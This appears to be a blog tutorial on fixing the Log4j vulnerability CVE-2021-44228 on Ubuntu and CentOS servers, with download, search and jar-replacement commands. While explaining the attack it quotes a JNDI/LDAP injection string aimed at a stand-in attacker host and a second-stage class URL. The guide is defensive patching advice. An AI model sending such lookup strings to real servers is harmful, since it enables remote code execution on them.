How To Fix Log4j Vulnerability in Ubuntu and Centos OS

If you are using Log4j on your Ubuntu or Centos server you are required to upgrade to the latest version 2.18.0 or later to avoid any risk of attack.

What is log4j

Apache Log4j is a Java-based logging platform for analyzing web servers and individual application log files.

While not included by default in a standard apache LAMP stack, the software is widely used in businesses, eCommerce platforms, and games such as Minecraft, whose developers were quick to issue a patch.

Log4j exploits entail passing a string containing the substitution “$ [jndi: LDAP: /attacker.com/a]”, after which Log4j2 sends an LDAP request to the attacker website for the path to the Java class. By returning a path to their server, attackers can gain access to the operating system.

For example, using a specially crafted Java class e.g  http://second-stage.example.com/Exploit.class the log4j exploit can be loaded and executed with the current application’s rights, allowing remote code execution. The vulnerability has been identified as CVE-2021-44228.

While Apache quickly released Log4j 2.15.0 with the fix that resolves vulnerable Log4j, many businesses are yet to update facing an attack that is described as being very simple to implement.

Is log4 1.x vulnerable?

Given the severity of the current Log4j vulnerability, it would be prudent to exercise an abundance of caution and assume that all versions prior to 2.15 are potentially vulnerable and should be patched or updated.

 According to apache “Log4j 1.x has reached the end of life and is no longer supported. Vulnerabilities reported after August 2015 against Log4j 1.x was not checked and will not be fixed. Users should upgrade to Log4j 2 to obtain security fixes.”  

How To Fix Log4j vulnerability 

If you are using Log4j on your Ubuntu server you are required to upgrade to the latest version 2.18.0 or later to avoid any risk of attack. Set the log4j2.formatMsgNoLookups system property to true or remove the JndiLookup class from the “classpath” in version 2.10 and later.

How To Update Log4j In Ubuntu/Centos.

Log4j package is distributed under the Apache Software License, a full-fledged open-source license certified by the open-source initiative.

The most recent log4j version, complete with source code, class files, and documentation, is available here.

To update log4j on your system, download the latest apache-log4j-x.x.x.tar.gz from the specified URL and follow the steps given below.

Step 1: Download and unzip

Download and unzip/untar the downloaded file as follows (The latest version at the time is apache-log4j-2.18.0):

code 

~# wget https://dlcdn.apache.org/logging/log4j/2.18.0/apache-log4j-2.18.0-bin.tar.gz
~# gunzip apache-log4j-2.18.0-bin.tar.gz
~# tar -xvf apache-log4j-2.18.0-bin.tar
apache-log4j-2.18.0-bin/RELEASE-NOTES.md
apache-log4j-2.18.0-bin/LICENSE.txt
apache-log4j-2.18.0-bin/NOTICE.txt
apache-log4j-2.18.0-bin/log4j-api-2.18.0.jar
apache-log4j-2.18.0-bin/log4j-api-2.18.0-sources.jar
apache-log4j-2.18.0-bin/log4j-api-2.18.0-javadoc.jar
apache-log4j-2.18.0-bin/log4j-core-2.18.0.jar

.......................................

While untarring, it would create a directory hierarchy with the name apache-log4j-x.x.x.

Step 2: Optional

This step is optional and is dependent on the features of the log4j framework that you intend to use. If you already have the following packages installed on your machine, you are good to go; otherwise, you will need to install them in order for log4j to work.

JavaMail API: Log4j’s email-based logging requires the Java Mail API (mail.jar) to be installed on your machine.

JavaBeans Activation Framework: The Java Mail API will also require that you install the JavaBeans Activation Framework (activation.jar).

Java Message Service: Log4j’s JMS-compatible features will require you to install both JMS and Java Naming and Directory Interface JNDI.

XML Parser: Log4j requires a JAXP-compatible XML parser. Make sure you have Xerces.jar installed on your machine.

Step 3: Locate installed log4J jar files

Locate all log4Jjar files in your environment to find the current installation directory of log4J

code:

:~# find / -type f -name log4*
/usr/local/apache-log4j-2.3.2-bin/log4j-taglib-2.3.2-sources.jar
/usr/local/apache-log4j-2.3.2-bin/log4j-flume-ng-2.3.2.jar
/usr/local/apache-log4j-2.3.2-bin/log4j-1.2-api-2.3.2.jar
/usr/local/apache-log4j-2.3.2-bin/log4j-iostreams-2.3.2.jar
/usr/local/apache-log4j-2.3.2-bin/log4j-core-2.3.2.jar

....................

Looking at the output we have log4j-core-2.3.2.jar and other jar files.  The most important one is the core files. 

Step 4: Replace old log4j files

Replace all the necessary files depending on your environment setup

code:

:~# cd apache-log4j-2.18.0-bin
:~/apache-log4j-2.18.0-bin# ls | grep core
log4j-core-2.18.0.jar
log4j-core-2.18.0-javadoc.jar
log4j-core-2.18.0-sources.jar
log4j-core-2.18.0-tests.jar

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